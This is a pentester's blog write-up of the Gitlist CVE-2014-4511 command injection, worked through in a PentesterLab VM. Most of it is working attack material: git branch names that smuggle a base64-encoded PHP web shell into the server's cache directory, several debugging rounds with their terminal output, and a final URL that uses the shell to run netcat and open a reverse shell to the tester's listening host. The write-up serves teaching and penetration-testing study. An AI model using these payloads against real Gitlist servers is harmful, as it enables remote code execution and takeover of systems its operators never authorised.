Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Though it’s an old one, I’m finally getting around to my CVE-2014-4511 write-up.
This is actually something I saw in an environment not too long ago, so it was worth sharing.
Gitlist previous to version 0.5 was vulnerable to a few different remote code execution attacks. In this case, I’ll be covering the 2nd via a malicious branch name.
This was actually brought up as a bug, but was quickly recognized as a vulnerability.
For another great write-up, check out the original post from 2014.
If you’d like to follow along, you can download a vulnerable ISO from PenTester Lab.
Once I configured the VM, I verified that Gitlist was up and running.
Additionally, I made sure that I was able to clone the test repository using the provided credentials.
pentesterlab@vulnerable:~$ git clone git@vulnerable:test.git Cloning into 'test'... The authenticity of host 'vulnerable (127.0.0.1)' can't be established. ECDSA key fingerprint is b2:23:9a:fa:a7:7a:cb:cd:30:85:f9:cb:b8:17:ae:05. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'vulnerable' (ECDSA) to the list of known hosts. git@vulnerable's password: remote: Counting objects: 3, done. remote: Compressing objects: 100% (2/2), done. remote: Total 3 (delta 0), reused 0 (delta 0) Receiving objects: 100% (3/3), done. pentesterlab@vulnerable:~$ ls test/
The actual vulnerability lies in Repository.php of the Gitter library, and Gitlist invokes this from TreeController.php. The vulnerable code in question is actually below.
$hash = $this->getClient()->run($this, "log --pretty=\"%T\" --max-count=1 $branch");
While there is no input sanitization in $branch, there are actually a few rules per refs.c.
With these restrictions in mind, it would be best to somehow encode the payload, which is what the original exploit does.
git checkout -b "|echo\$IFS\"PD9zeXN0ZW0oJF9SRVFVRVNUWyd4J10pOz8+Cg==\"|base64\$IFS-d>/var/www/gitlist/cache/x"
This payload actually creates a branch that echos the encoded payload, pipes it to base64 -d, and then writes it to the world writable cache folder. Note that $IFS is the internal field separator, which acts as a space.
Finally, the actual PoC payload is as follows.
pentesterlab@vulnerable:~$ echo PD9zeXN0ZW0oJF9SRVFVRVNUWyd4J10pOz8+Cg== | base64 -d <?system($_REQUEST['x']);?>
First, I attempted to generate my payload. I did this so that I’d understand how it worked, plus I was more familiar with the variables.
pentesterlab@vulnerable:~$ echo "<? echo passthru($_GET['cmd']); ?>" | base64 PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K
With that generated, I created a new branch with the malicious name.
pentesterlab@vulnerable:~$ cd test pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x" Switched to a new branch '|echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x' pentesterlab@vulnerable:~/test$ git push --all git@vulnerable's password: Total 0 (delta 0), reused 0 (delta 0) To git@vulnerable:test.git * [new branch] |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x -> |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x
After I created the branch, I loaded it in the web UI to execute the command injection.
When I went to view the /cache/x file, it was there! Unfortunately, it was showing plain-text instead of my PHP application. Note: this is missing part of the code I attempted to inject, which I do not notice until later.
First, I added a .php extension to the file, if the web server wasn’t handling the file properly.
pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x.php" Switched to a new branch '|echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x.php' pentesterlab@vulnerable:~/test$ git push --all git@vulnerable's password: Total 0 (delta 0), reused 0 (delta 0) To git@vulnerable:test.git * [new branch] |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x.php -> |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x.php
That at least modified the behavior of the payload, but there was still another issue.
Next, I attempted to use full PHP tags, if short tags weren’t enabled.
pentesterlab@vulnerable:~/test$ echo "<?php echo passthru($_GET['cmd']); ?>" | base64 PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x2.php" Switched to a new branch '|echo$IFS"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x2.php' pentesterlab@vulnerable:~/test$ git push --all git@vulnerable's password: Total 0 (delta 0), reused 0 (delta 0) To git@vulnerable:test.git * [new branch] |echo$IFS"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x2.php -> |echo$IFS"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x2.php
This seemed to work better, as I could no longer see my PHP code. Unfortunately, there was no command output.
After many attempts, and plenty of time banking my head against my keyboard, I realized my error. I wasn’t properly escaping the $ in my command, so it wasn’t getting properly encoded into my payload.
pentesterlab@vulnerable:~/test$ echo "<?php system($_GET['cmd']);?>" | base64 | base64 -d <?php system(['cmd']);?> pentesterlab@vulnerable:~/test$ echo "<?php system(\$_GET['cmd']);?>" | base64 | base64 -d <?php system($_GET['cmd']);?> pentesterlab@vulnerable:~/test$ echo "<?php system(\$_GET['cmd']);?>" | base64 PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K
First, I generated a new branch with the properly encoded payload.
pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x8.php" Switched to a new branch '|echo$IFS"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K"|base64$IFS-d>/var/www/gitlist/cache/x8.php' pentesterlab@vulnerable:~/test$ git push --all git@vulnerable's password: Total 0 (delta 0), reused 0 (delta 0) To git@vulnerable:test.git * [new branch] |echo$IFS"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K"|base64$IFS-d>/var/www/gitlist/cache/x8.php -> |echo$IFS"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K"|base64$IFS-d>/var/www/gitlist/cache/x8.php
Next, I loaded the new malicious branch in the application.
Finally, I went to the cached page, and had proper command execution!
As a bonus, I was also able to grab a reverse shell from the following URL:
http://192.168.5.59/cache/x8.php?cmd=nc%20192.168.5.21%20443%20-e%20/bin/sh
root@kali:~# nc -lvp 443 listening on [any] 443 ... 192.168.5.59: inverse host lookup failed: Unknown host connect to [192.168.5.21] from (UNKNOWN) [192.168.5.59] 50708 id uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab) hostname vulnerable ^C
While this was an older vulnerability, I’m glad that I finally got around to sharing it. This is still something that could be found in older development environments.
Additionally, it was a good example of some neat code execution in a web application. Other than that, it gave me an opportunity to point out some possible “gotcha” moments and examples of debugging.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.